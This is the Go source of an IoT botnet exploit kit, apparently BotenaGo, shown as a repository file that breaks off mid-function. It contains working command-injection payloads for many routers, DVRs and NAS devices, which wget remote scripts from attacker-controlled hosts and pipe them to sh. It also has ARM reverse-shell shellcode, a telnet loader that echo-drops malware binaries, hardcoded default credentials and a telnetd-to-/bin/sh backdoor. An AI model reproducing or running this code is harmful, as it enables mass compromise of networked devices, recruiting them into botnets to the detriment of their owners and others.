Path: blob/master/Botnets/Exploits/BotenaGo - Multi Exploit.go
5038 views
package main12import (3"net"4"time"5"bufio"6"fmt"7"os"8"sync"9"strings"10"strconv"11"io/ioutil"12"math/rand"13"encoding/binary"14"encoding/base64"15)1617/*1819Exploit kit framework 1.0.0.2021Contains:22Reverse shell loader (DONE)23Telnet loader (arch detect, dir detect, echo load) (DONE)2425Exploits:26UCHTTPD (DONE)27TVT-4567 (DONE)28TVT-WEB (DONE)29UNIX CCTV (DONE)30FIBERHOME ROUTER (DONE)31VIGOR ROUTER (DONE)32COMTREND ROUTER (DONE)33GPONFIBER ROUTER (DONE)34BROADCOM ROUTER (DONE)35DVRIP (DONE)36LIBDVR (DONE)37HONGDIAN ROUTER (DONE)38REALTEK MULTI ROUTER (DONE)39TENDA ROUTER (DONE)40TOTOLINK ROUTER (DONE)41ALCATEL NAS (DONE)42LILINDVR (DONE)43LINKSYS ESERIES (DONE)44*/4546const (47EI_NIDENT int = 1648EI_DATA int = 549EE_LITTLE int = 150EE_BIG int = 25152EM_ARM int = 4053EM_MIPS int = 854EM_AARCH64 int = 18355EM_PPC int = 2056EM_PPC64 int = 2157EM_SH int = 425859DVRIP_NORESP int = 060DVRIP_OK int = 10061DVRIP_FAILED int = 20362DVRIP_UPGRADED int = 5156364echoLineLen = 12865echoDlrOutFile = "qn_local"6667loaderTvtWebTag = "selfrep.tvt"68loaderTvt4567Tag = "selfrep.tvt"69loaderVigorTag = "selfrep.vigor"70loaderComtrendTag = "selfrep.comtrend"71loaderGponfiberTag = "selfrep.gponfiber"72loaderFiberhomeTag = "selfrep.fiberhome"73loaderLibdvrTag = "selfrep.libdvr"74loaderDvripTag = "selfrep.dvrip"75loaderUchttpdTag = "selfrep.uchttpd"76loaderHongdianTag = "selfrep.hongdian"77loaderTendaTag = "selfrep.tenda"78loaderTotolinkTag = "selfrep.totolink"79loaderZyxelTag = "selfrep.zyxel"80loaderAlcatleTag = "selfrep.alcatel"81loaderLilinTag = "selfrep.lilin"82loaderLinksysTag = "selfrep.linksys"83loaderZteTag = "selfrep.zte"84loaderNetgearTag = "selfrep.netgear"85loaderDlinkTag = "selfrep.dlink"8687loaderDownloadServer = "1.1.1.1" // Remote IP Of Server With Bins And Sh Files88loaderBinsLocation = "/a/b/" // Path To Bins89loaderScriptsLocation = "/a/" // Path To Bins90)9192type elfHeader struct {93e_ident[EI_NIDENT] int894e_type, e_machine int1695e_version int3296}9798type smapsRegion struct {99region uint64100size, pss, rss int101shared_clean, shared_ditry int102private_clean, private_dirty int103}104105type echoDropper struct {106payload [128]string107payload_count int108}109110var (111netTimeout time.Duration = 30112workerGroup sync.WaitGroup113magicGroup sync.WaitGroup114mode, doExploit string115exploitMap map[string]interface{}116dropperMap map[string]echoDropper117)118119// counters120var telShells, payloadSent int121122var (123// uc exploit settings124// should be reverse shell to same ip as loader on port 31391125uchttpdShellCode string = "\x01\x10\x8f\xe2\x11\xff\x2f\xe1\x11\xa1\x8a\x78\x01\x3a\x8a\x70\x02\x21\x08\x1c\x01\x21\x92\x1a\x0f\x02\x19\x37\x01\xdf\x06\x1c\x0b\xa1\x02\x23\x0b\x80\x10\x22\x02\x37\x01\xdf\x3e\x27\x01\x37\xc8\x21\x30\x1c\x01\xdf\x01\x39\xfb\xd5\x07\xa0\x92\x1a\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x21\x08\x1c\x01\xdf\xc0\x46\xff\xff\x7b\xb4\xb9\x35\x5a\x13\x2f\x62\x69\x6e\x2f\x73\x68\x58\xff\xff\xc0\x46\xef\xbe\xad\xde"126ucRshellPort int = 31412127128// tvt exploit settings129tvtWebPayload string = "cd${IFS}/tmp;wget${IFS}http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}" + loaderTvtWebTag130tvt4567Payload string = "cd${IFS}/tmp;wget${IFS}http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}" + loaderTvt4567Tag131132// magic exploit settings133magicPacketIds []string = []string{"\x62", "\x69", "\x6c", "\x52", "\x44", "\x67", "\x43", "\x4d"}134magicPorts []int = []int{1000, 2000, 3000, 4000, 5000, 6000, 7000, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8020, 8030, 8040, 8050, 8060, 8070, 8080, 8090, 8100, 8200, 8300, 8400, 8500, 8600, 8700, 8800, 8888, 8900, 8999, 9000, 9090}135magicPayload string = "wget http://rippr.cc/u -O-|sh;"136137// lilindvr payload138lilinPayload string = "wget -O- http://" + loaderDownloadServer + "/l|sh"139140// fiberhome exploit settings141fiberRandPort int = 1 // 0 for use below142fiberStaticPort int = 31784143fiberSecStrs []string = []string{"0.3123525368318707", "0.13378587435314315", "0.8071510413685209"}144145// vigor exploit settings146vigorPayload string = "bin%2Fsh%24%7BIFS%7D-c%24%7BIFS%7D%27cd%24%7BIFS%7D%2Ftmp%24%7BIFS%7D%26%26%24%7BIFS%7Dbusybox%24%7BIFS%7Dwget%24%7BIFS%7Dhttp%3A%2F%2F" + loaderDownloadServer + loaderBinsLocation + "bot.arm7%24%7BIFS%7D%26%26%24%7BIFS%7Dchmod%24%7BIFS%7D777%24%7BIFS%7Dbot.arm7%24%7BIFS%7D%26%26%24%7BIFS%7D.%2Fbot.arm7%24%7BIFS%7D" + loaderVigorTag + "%24%7BIFS%7D%26%26%24%7BIFS%7Drm%24%7BIFS%7D-rf%24%7BIFS%7Dbot.arm7"147148// broadcom router settings149broadcomPayload string = "$(wget%20http://" + loaderDownloadServer + "/b%20-O-|sh)"150151// hongdian router settings152hongdianPayload string = "cd+/tmp%3Bbusybox+wget+http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh+-O-+>sfs;chmod+777+sfs%3Bsh+sfs+" + loaderHongdianTag + "%3Brm+-rf+sfs"153154// tenda router settings155tendaPayload string = "cd%20/tmp%3Brm%20wget.sh%3Bwget%20http%3A//" + loaderDownloadServer + loaderScriptsLocation + "wget.sh%3Bchmod%20777%20wget.sh%3Bsh%20wget.sh%20" + loaderTendaTag156157// totlink router settings158totolinkPayload string = "wget%20http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%20-O%20-%20%3Esplash.sh%3B%20chmod%20777%20splash.sh%3B%20sh%20splash.sh%20" + loaderTotolinkTag159160// zyxel nas settings161zyxelPayload string = "cd%20/tmp;wget%20http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh%20-O-%20>s;chmod%20777%20s;sh%20s%20" + loaderZyxelTag + ";"162zyxelPayloadTwo string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderZyxelTag + "%3Brm+-rf+wget.sh"163164// alcatel nas settings165alcatelPayload string = "cd${IFS}/tmp;wget${IFS}http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}" + loaderAlcatleTag166167// linksys router settings168linksysPayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bsh+wget.sh+" + loaderLinksysTag + "%3Brm+-rf+wget.sh"169linksysTwoPayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderLinksysTag + "%3Brm+-rf+wget.sh"170171// zte router settings172ztePayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderZyxelTag + "%3Brm+-rf+wget.sh"173174// netgear router settings175netgearPayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderNetgearTag + "%3Brm+-rf+wget.sh"176177// gpon router settings178gponOGPayload string = "wget+http%3A%2F%2F" + loaderDownloadServer + "%2Fg+-O-%7Csh%60%3Bwget+http%3A%2F%2F37.0.11.220%2Fg+-O-%7Csh"179180// dlink router settings181dlinkTwoPayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderDlinkTag + "%3Brm+-rf+wget.sh"182dlinkThreePayload string = "cd /tmp;wget http://" + loaderDownloadServer + "/a/wget.sh;chmod 777 wget.sh;sh wget.sh " + loaderDlinkTag + ";rm -rf wget.sh"183)184185func zeroByte(a []byte) {186187for i := range a {188a[i] = 0189}190}191192func getStringInBetween(str string, start string, end string) (result string) {193194s := strings.Index(str, start)195if s == -1 {196return197}198199s += len(start)200e := strings.Index(str, end)201202if (s > 0 && e > s + 1) {203return str[s:e]204} else {205return "null"206}207}208209func randStr(strlen int) (string) {210211var b strings.Builder212213rand.Seed(time.Now().UnixNano())214chars := []rune("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")215216for i := 0; i < strlen; i++ {217b.WriteRune(chars[rand.Intn(len(chars))])218}219220return b.String()221}222223func hexToInt(hexStr string) (uint64) {224cleaned := strings.Replace(hexStr, "0x", "", -1)225result, _ := strconv.ParseUint(cleaned, 16, 64)226return uint64(result)227}228229/* TELNET LOADER MODULE */230231func telnetLoadDroppers() {232233files, err := ioutil.ReadDir("dlrs")234if err != nil {235fmt.Printf("\033[1;31mError: Failed to open dlrs/\r\n")236os.Exit(0)237}238239for i := 0; i < len(files); i++ {240file, err := os.OpenFile("dlrs/" + files[i].Name(), os.O_RDONLY, 0755)241if err != nil {242continue243}244245mapVal := echoDropper{}246mapVal.payload_count = 0247248for {249var echoString string250dataBuf := make([]byte, echoLineLen)251252length, err := file.Read(dataBuf)253if err != nil || length <= 0 {254break255}256257for i := 0; i < length; i++ {258echoByte := fmt.Sprintf("\\x%02x", uint8(dataBuf[i]))259echoString += echoByte260}261262if mapVal.payload_count == 0 {263mapVal.payload[mapVal.payload_count] = fmt.Sprintf("echo -ne \"%s\" > ", echoString)264} else {265mapVal.payload[mapVal.payload_count] = fmt.Sprintf("echo -ne \"%s\" >> ", echoString)266}267268mapVal.payload_count++269}270271dropperMap[files[i].Name()] = mapVal272file.Close()273}274275fmt.Printf("\x1b[38;5;46mLoader\x1b[38;5;15m: \x1b[38;5;15mLoaded \x1b[38;5;134m%d\x1b[38;5;15m echo droppers\x1b[38;5;15m\x1b[38;5;15m\r\n", len(dropperMap))276}277278func telnetHasPrompt(buffer string) (bool) {279280if strings.Contains(buffer, "#") || strings.Contains(buffer, ">") || strings.Contains(buffer, "$") || strings.Contains(buffer, "%") || strings.Contains(buffer, "@") {281return true282} else {283return false284}285}286287func telnetBusyboxShell(conn net.Conn) {288289/* Looks wierd but dw its for some BCM router */290conn.Write([]byte("sh\r\n"))291conn.Write([]byte("..\r\n"))292conn.Write([]byte("linuxshell\r\n"))293/* ------------------------------------------ */294295conn.Write([]byte("enable\r\n"))296conn.Write([]byte("development\r\n"))297conn.Write([]byte("system\r\n"))298conn.Write([]byte("sh\r\n"))299conn.Write([]byte("shell\r\n"))300conn.Write([]byte("ping ; sh\r\n"))301}302303func telnetDropDropper(conn net.Conn, myarch string) (bool) {304305for arch, mapval := range dropperMap {306splitVal := strings.Split(arch, ".")307if len(splitVal) != 2 {308continue309}310311if splitVal[1] == myarch {312query := randStr(5)313dropper := randStr(5)314droppedLines := 0315316for i := 0; i < mapval.payload_count; i++ {317var rdbuf []byte = []byte("")318complete := 0319320conn.Write([]byte(mapval.payload[i] + dropper + "; /bin/busybox " + query + "\r\n"))321322for {323tmpbuf := make([]byte, 128)324ln, err := conn.Read(tmpbuf)325if ln <= 0 || err != nil {326break327}328329rdbuf = append(rdbuf, tmpbuf...)330if strings.Contains(string(rdbuf), ": applet not found") {331complete = 1332break333}334}335336if complete == 0 {337return false338}339340droppedLines++341}342343if droppedLines == mapval.payload_count {344var rdbuf []byte = []byte("")345346conn.Write([]byte("chmod 777 " + dropper + "; ./" + dropper + "; rm -rf " + dropper + "; /bin/busybox " + query + "\r\n"))347348for {349tmpbuf := make([]byte, 128)350ln, err := conn.Read(tmpbuf)351if ln <= 0 || err != nil {352break353}354355rdbuf = append(rdbuf, tmpbuf...)356if strings.Contains(string(rdbuf), ": applet not found") {357return true358}359}360361return false362} else {363return false364}365} else {366continue367}368}369370return false371}372373func telnetHasBusybox(conn net.Conn) (bool, string) {374375var rdbuf []byte = []byte("")376377query := randStr(6)378resp := ": applet not found"379380conn.Write([]byte("/bin/busybox " + query + "\r\n"))381for {382tmpbuf := make([]byte, 128)383ln, err := conn.Read(tmpbuf)384if ln <= 0 || err != nil {385break386}387388rdbuf = append(rdbuf, tmpbuf...)389if strings.Contains(string(rdbuf), resp) == true {390index := strings.Index(string(rdbuf), "BusyBox v")391if index == -1 {392return true, "unknown"393} else {394verstr := strings.Split(string(rdbuf)[len("BusyBox v")+index:], " ")395if len(verstr) > 0 {396return true, verstr[0]397} else {398return true, "unknown"399}400401}402}403}404405return false, "unknown"406}407408func telnetWritableDir(conn net.Conn) (bool, string) {409410var rdbuf []byte411dirs := []string{"/tmp/", "/var/tmp/", "/var/", "/mnt/", "/etc/", "/", "/dev/"}412413for i := 0; i < len(dirs); i++ {414echoStr := randStr(4)415conn.Write([]byte("cd " + dirs[i] + " && echo " + echoStr + "\r\n"))416417for {418tmpbuf := make([]byte, 128)419ln, err := conn.Read(tmpbuf)420if ln <= 0 || err != nil {421break422}423424rdbuf = append(rdbuf, tmpbuf...)425if strings.Contains(string(rdbuf), "can't cd") || strings.Contains(string(rdbuf), "No such file or") {426break427} else if strings.Contains(string(rdbuf), echoStr) {428return true, dirs[i]429}430}431432zeroByte(rdbuf)433}434435return false, "none"436}437438func telnetExtractArch(conn net.Conn) (bool, string) {439440var rdbuf []byte441var index int = -1442443conn.Write([]byte("/bin/busybox cat /bin/echo\r\n"))444445for {446tmpbuf := make([]byte, 128)447ln, err := conn.Read(tmpbuf)448if ln <= 0 || err != nil {449break450}451452rdbuf = append(rdbuf, tmpbuf...)453index = strings.Index(string(rdbuf), "ELF")454455if index != -1 {456zeroByte(tmpbuf)457ln, err := conn.Read(tmpbuf)458459if ln <= 0 || err != nil {460break461}462463rdbuf = append(rdbuf, tmpbuf...)464break465}466}467468if index == -1 {469return false, "none"470}471472rdbuf = rdbuf[index:]473elfHdr := elfHeader{}474475for i := 0; i < EI_NIDENT; i++ {476elfHdr.e_ident[i] = int8(rdbuf[i])477}478479elfHdr.e_type = int16(rdbuf[EI_NIDENT])480elfHdr.e_machine = int16(rdbuf[EI_NIDENT + 2])481elfHdr.e_version = int32(rdbuf[EI_NIDENT + 2 + 2])482483if elfHdr.e_machine == int16(EM_ARM) {484return true, "arm"485} else if elfHdr.e_machine == int16(EM_MIPS) {486if elfHdr.e_ident[EI_DATA] == int8(EE_LITTLE) {487return true, "mpsl"488} else {489return true, "mips"490}491} else if elfHdr.e_machine == int16(EM_PPC) || elfHdr.e_machine == int16(EM_PPC64) {492return true, "ppc"493} else if elfHdr.e_machine == int16(EM_SH) {494return true, "sh4"495}496497return false, ""498}499500func telnetLoader(target string, dologin int, arch string, tag string) {501502var (503rdbuf []byte = []byte("")504loggedIn int = 0505)506507conn, err := net.DialTimeout("tcp", target, 10 * time.Second)508if err != nil {509return510}511512if dologin == 0 {513for {514tmpbuf := make([]byte, 128)515ln, err := conn.Read(tmpbuf)516if ln <= 0 || err != nil {517break518}519520rdbuf = append(rdbuf, tmpbuf...)521if telnetHasPrompt(string(rdbuf)) == true {522loggedIn = 1523break524}525}526}527528zeroByte(rdbuf)529if loggedIn == 0 {530conn.Close()531return532}533534fmt.Printf("\x1b[38;5;46mTelnet\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m shell found on device\x1b[38;5;15m\x1b[38;5;15m\r\n", target)535telnetBusyboxShell(conn)536537has, ver := telnetHasBusybox(conn)538if has == false {539conn.Close()540return541}542543fmt.Printf("\x1b[38;5;46mTelnet\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m device is running busybox version \x1b[38;5;134m%s\x1b[38;5;15m\r\n", target, ver)544telShells++545546has, dir := telnetWritableDir(conn)547if has == false {548conn.Close()549return550}551552fmt.Printf("\x1b[38;5;46mTelnet\x1b[38;5;15m: \x1b[38;5;134m%s:v%s\x1b[38;5;15m found writable directory \x1b[38;5;134m%s\x1b[38;5;15m\r\n", target, ver, dir)553554has, _ = telnetHasBusybox(conn)555if has == false {556conn.Close()557return558}559560fmt.Printf("\x1b[38;5;46mTelnet\x1b[38;5;15m: \x1b[38;5;134m%s:v%s:%s\x1b[38;5;15m extracted arch \x1b[38;5;134m%s\x1b[38;5;15m\r\n", target, ver, dir, arch)561562dropped := telnetDropDropper(conn, arch)563if dropped == false {564conn.Close()565return566}567568fmt.Printf("\x1b[38;5;46mTelnet\x1b[38;5;15m: \x1b[38;5;134m%s:v%s:%s:%s\x1b[38;5;15m finnished echo loading\x1b[38;5;15m\r\n", target, ver, dir, arch)569570binName := randStr(6)571conn.Write([]byte("/bin/busybox cat " + echoDlrOutFile + " > " + binName + "; chmod 777 " + binName + "; ./" + binName + " " + tag + "\r\n"))572// Done?573time.Sleep(5 * time.Second)574conn.Close()575return576}577578/* ------ END OF TELNET LOADER ------- */579580/* ------ OTHER PROTOCOL STUFF ------- */581582func reverseShellUchttpdLoader(conn net.Conn) {583584var (585rdbuf []byte = []byte("")586query string = randStr(5)587)588589conn.Write([]byte(">/tmp/.h && cd /tmp/\r\n"))590conn.Write([]byte(">/mnt/.h && cd /mnt/\r\n"))591conn.Write([]byte(">/var/.h && cd /var/\r\n"))592conn.Write([]byte(">/dev/.h && cd /dev/\r\n"))593conn.Write([]byte(">/var/tmp/.h && cd /var/tmp/\r\n"))594conn.Write([]byte("/bin/busybox " + query + "\r\n"))595596for {597tmpbuf := make([]byte, 128)598ln, err := conn.Read(tmpbuf)599if ln <= 0 || err != nil {600conn.Close()601return602}603604rdbuf = append(rdbuf, tmpbuf...)605if strings.Contains(string(rdbuf), ": applet not found") {606break607}608}609610zeroByte(rdbuf)611612dropped := telnetDropDropper(conn, "arm7")613if dropped == false {614conn.Close()615return616}617618fmt.Printf("\x1b[38;5;46mUchttpd\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", conn.RemoteAddr())619payloadSent++620binName := randStr(6)621conn.Write([]byte("/bin/busybox cat " + echoDlrOutFile + " > " + binName + "; chmod 777 " + binName + "; ./" + binName + " " + loaderUchttpdTag + ";\r\n"))622conn.Write([]byte("/var/Sofia 2>/dev/null &\r\n"))623return624}625626func infectFunctionTvt4567(conn net.Conn) {627628var (629rdbuf []byte = []byte("")630state = 0631)632633payload := "\x0c\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x21\x00\x02\x00\x01\x00\x04\x00\x50\x02\x00\x00\x50\x02\x00\x00\x00\x00\x00\x00\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x75\x74\x66\x2d\x38\x22\x3f\x3e\x3c\x72\x65\x71\x75\x65\x73\x74\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20\x73\x79\x73\x74\x65\x6d\x54\x79\x70\x65\x3d\x22\x4e\x56\x4d\x53\x2d\x39\x30\x30\x30\x22\x20\x63\x6c\x69\x65\x6e\x74\x54\x79\x70\x65\x3d\x22\x57\x45\x42\x22\x3e\x3c\x74\x79\x70\x65\x73\x3e\x3c\x66\x69\x6c\x74\x65\x72\x54\x79\x70\x65\x4d\x6f\x64\x65\x3e\x3c\x65\x6e\x75\x6d\x3e\x72\x65\x66\x75\x73\x65\x3c\x2f\x65\x6e\x75\x6d\x3e\x3c\x65\x6e\x75\x6d\x3e\x61\x6c\x6c\x6f\x77\x3c\x2f\x65\x6e\x75\x6d\x3e\x3c\x2f\x66\x69\x6c\x74\x65\x72\x54\x79\x70\x65\x4d\x6f\x64\x65\x3e\x3c\x61\x64\x64\x72\x65\x73\x73\x54\x79\x70\x65\x3e\x3c\x65\x6e\x75\x6d\x3e\x69\x70\x3c\x2f\x65\x6e\x75\x6d\x3e\x3c\x65\x6e\x75\x6d\x3e\x69\x70\x72\x61\x6e\x67\x65\x3c\x2f\x65\x6e\x75\x6d\x3e\x3c\x65\x6e\x75\x6d\x3e\x6d\x61\x63\x3c\x2f\x65\x6e\x75\x6d\x3e\x3c\x2f\x61\x64\x64\x72\x65\x73\x73\x54\x79\x70\x65\x3e\x3c\x2f\x74\x79\x70\x65\x73\x3e\x3c\x63\x6f\x6e\x74\x65\x6e\x74\x3e\x3c\x73\x77\x69\x74\x63\x68\x3e\x74\x72\x75\x65\x3c\x2f\x73\x77\x69\x74\x63\x68\x3e\x3c\x66\x69\x6c\x74\x65\x72\x54\x79\x70\x65\x20\x74\x79\x70\x65\x3d\x22\x66\x69\x6c\x74\x65\x72\x54\x79\x70\x65\x4d\x6f\x64\x65\x22\x3e\x72\x65\x66\x75\x73\x65\x3c\x2f\x66\x69\x6c\x74\x65\x72\x54\x79\x70\x65\x3e\x3c\x66\x69\x6c\x74\x65\x72\x4c\x69\x73\x74\x20\x74\x79\x70\x65\x3d\x22\x6c\x69\x73\x74\x22\x3e\x3c\x69\x74\x65\x6d\x54\x79\x70\x65\x3e\x3c\x61\x64\x64\x72\x65\x73\x73\x54\x79\x70\x65\x20\x74\x79\x70\x65\x3d\x22\x61\x64\x64\x72\x65\x73\x73\x54\x79\x70\x65\x22\x2f\x3e\x3c\x2f\x69\x74\x65\x6d\x54\x79\x70\x65\x3e\x3c\x69\x74\x65\x6d\x3e\x3c\x73\x77\x69\x74\x63\x68\x3e\x74\x72\x75\x65\x3c\x2f\x73\x77\x69\x74\x63\x68\x3e\x3c\x61\x64\x64\x72\x65\x73\x73\x54\x79\x70\x65\x3e\x69\x70\x3c\x2f\x61\x64\x64\x72\x65\x73\x73\x54\x79\x70\x65\x3e\x3c\x69\x70\x3e\x24\x28"634payload += tvt4567Payload635payload += "\x3c\x2f\x69\x70\x3e\x3c\x2f\x69\x74\x65\x6d\x3e\x3c\x2f\x66\x69\x6c\x74\x65\x72\x4c\x69\x73\x74\x3e\x3c\x2f\x63\x6f\x6e\x74\x65\x6e\x74\x3e\x3c\x2f\x72\x65\x71\x75\x65\x73\x74\x3e\x00"636payload = base64.StdEncoding.EncodeToString([]byte(payload))637638cntlen := strconv.Itoa(len(payload))639640conn.Write([]byte("{D79E94C5-70F0-46BD-965B-E17497CCB598}"))641642for {643tmpbuf := make([]byte, 128)644ln, err := conn.Read(tmpbuf)645if ln <= 0 || err != nil {646break647}648649rdbuf = append(rdbuf, tmpbuf...)650if strings.Contains(string(rdbuf), "{D79E94C5-70F0-46BD-965B-E17497CCB598}") && state != 1 {651conn.Write([]byte("GET /saveSystemConfig HTTP/1.1\r\nAuthorization: Basic\r\nContent-type: text/xml\r\nContent-Length: " + cntlen + "\r\n{D79E94C5-70F0-46BD-965B-E17497CCB598} 2\r\n\r\n" + payload + "\r\n\r\n"))652zeroByte(rdbuf)653state = 1654continue655} else if strings.Contains(string(rdbuf), "200") && state == 1 {656fmt.Printf("\x1b[38;5;46mTvt-4567\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", conn.RemoteAddr().String())657conn.Close()658payloadSent++659return660}661}662663conn.Close()664}665666func infectFunctionMagicProto(target string) {667668var (669rdbuf []byte = []byte("")670state = 0671)672673conn, err := net.DialTimeout("tcp", target, 10 * time.Second)674if err != nil {675magicGroup.Done()676return677}678679payloadOne := "\x5a\xa5\x06\x15\x00\x00\x00\x98\x00\x00\x00"680payloadTwo := "\x00\x00\x00\x00\x00\x00\x00\x00\x47\x4d\x54\x2b\x30\x39\x3a\x30\x30\x20\x53\x65\x6f\x75\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x74\x69\x6d\x65\x2e\x6e\x69\x73\x74\x2e\x67\x6f\x76\x26"681payloadThree := "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00"682683conn.Write([]byte("\x5a\xa5\x01\x20\x00\x00\x00\x00"))684685for {686tmpbuf := make([]byte, 128)687ln, err := conn.Read(tmpbuf)688if ln <= 0 || err != nil {689break690}691692rdbuf = append(rdbuf, tmpbuf...)693if state == 0 && len(rdbuf) >= 4 && string(rdbuf[:4]) == "\x5a\xa5\x01\x20" {694conn.Close()695696conn, err = net.DialTimeout("tcp", target, 10 * time.Second)697if err != nil {698magicGroup.Done()699return700}701702payload := payloadOne703payload += magicPacketIds[state]704payload += payloadTwo705payload += magicPayload + "f"706payload += payloadThree707708conn.Write([]byte(payload))709state++710zeroByte(rdbuf)711continue712} else if state >= 1 {713conn.Close()714715if state == 8 {716fmt.Printf("\x1b[38;5;46mMagic\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m potential payload sent to device\x1b[38;5;15m\r\n", target)717payloadSent++718magicGroup.Done()719return720}721conn, err = net.DialTimeout("tcp", target, 10 * time.Second)722if err != nil {723magicGroup.Done()724return725}726727payload := payloadOne728payload += magicPacketIds[state]729payload += payloadTwo730payload += magicPayload + "f"731payload += payloadThree732733conn.Write([]byte(payload))734state++735zeroByte(rdbuf)736continue737}738}739740conn.Close()741magicGroup.Done()742return743}744745func infectFunctionLibdvrProto(host string, attempt int) (int, error, string, int) {746747var gotAdmin int = 0748var gotShell int = 0749var password string750var rInt int = 0751752rInt = rand.Intn(9999 - 9000) + 9000753754conn, err := net.DialTimeout("tcp", host, time.Duration(10) * time.Second)755if err != nil {756return 0, nil, "", 0757}758759defer conn.Close()760conn.SetWriteDeadline(time.Now().Add(6 * time.Second))761_, err = conn.Write([]byte("/bin/busybox BOXOFABOX\n"))762if err != nil {763conn.Close()764return 0, nil, "", 0765}766767conn.SetReadDeadline(time.Now().Add(6 * time.Second))768769first_buf := make([]byte, 256)770l, err := conn.Read(first_buf)771if err != nil || l <= 0 {772conn.Close()773return 0, nil, "", 0774}775776if strings.Contains(string(first_buf), "user name") || strings.Contains(string(first_buf), "username") {777_, err = conn.Write([]byte("admin\n"))778if err != nil {779conn.Close()780return 0, nil, "", 0781}782} else {783if strings.Contains(string(first_buf), "BOXOFABOX: applet not found") {784gotShell = 1785} else {786_, err = conn.Write([]byte("\n"))787if err != nil {788conn.Close()789return 0, nil, "", 0790}791792conn.SetReadDeadline(time.Now().Add(3 * time.Second))793first_buf := make([]byte, 256)794l, err := conn.Read(first_buf)795if err != nil || l <= 0 {796conn.Close()797return 0, nil, "", 0798}799800if !strings.Contains(string(first_buf), "user name") && !strings.Contains(string(first_buf), "username") {801if strings.Contains(string(first_buf), "admin$") {802gotAdmin = 1803} else {804conn.Close()805return 0, nil, "", 0806}807} else {808_, err = conn.Write([]byte("admin\n"))809if err != nil {810conn.Close()811return 0, nil, "", 0812}813}814}815}816817if gotAdmin != 1 && gotShell != 1 {818conn.SetReadDeadline(time.Now().Add(3 * time.Second))819second_buf := make([]byte, 256)820l2, err := conn.Read(second_buf)821if err != nil || l2 <= 0 {822conn.Close()823return 0, nil, "", 0824}825826if strings.Contains(string(second_buf), "pass word") || strings.Contains(string(second_buf), "password") {827if attempt == 0 {828password = "I0TO5Wv9"829} else if attempt == 1 {830password = "123456"831} else if attempt == 2 {832password = "admin"833}834835_, err = conn.Write([]byte(password + "\n"))836if err != nil {837conn.Close()838return 0, nil, "", 0839}840841conn.SetReadDeadline(time.Now().Add(3 * time.Second))842second_buf := make([]byte, 1024)843l, err := conn.Read(second_buf)844if err != nil || l <= 0 {845conn.Close()846return 0, nil, "", 0847}848849if strings.Contains(string(second_buf), "admin$") {850gotAdmin = 1851} else {852conn.Close()853return 0, nil, "", 0854}855} else if strings.Contains(string(second_buf), "admin$") {856gotAdmin = 1857} else {858conn.Close()859return 0, nil, "", 0860}861}862863if gotAdmin == 1 || gotShell == 1 {864conn.Write([]byte("shell\n"))865conn.Write([]byte("/bin/busybox BOXOFABOX\n"))866867new_buf := make([]byte, 128)868l, err := conn.Read(new_buf)869if err != nil || l <= 0 {870conn.Close()871return 0, nil, "", 0872}873874if strings.Contains(string(new_buf), "BOXOFABOX: applet not found") {875conn.Write([]byte("/bin/busybox telnetd -p" + strconv.Itoa(rInt) + " -l/bin/sh\n"))876conn.Write([]byte("exit\n"))877conn.Write([]byte("quit\n"))878conn.Close()879880time.Sleep(3 * time.Second)881return 1, nil, password, rInt882} else {883conn.Write([]byte("exit\n"))884conn.Write([]byte("quit\n"))885conn.Close()886return 0, nil, "", 0887}888} else {889conn.Write([]byte("quit\n"))890conn.Close()891return 0, nil, "", 0892}893}894895func infectFunctionLibdvr(target string) {896897splitStr := strings.Split(target, ":")898for i := 0; i < 3; i++ {899exploited, err, _, port := infectFunctionLibdvrProto(target, 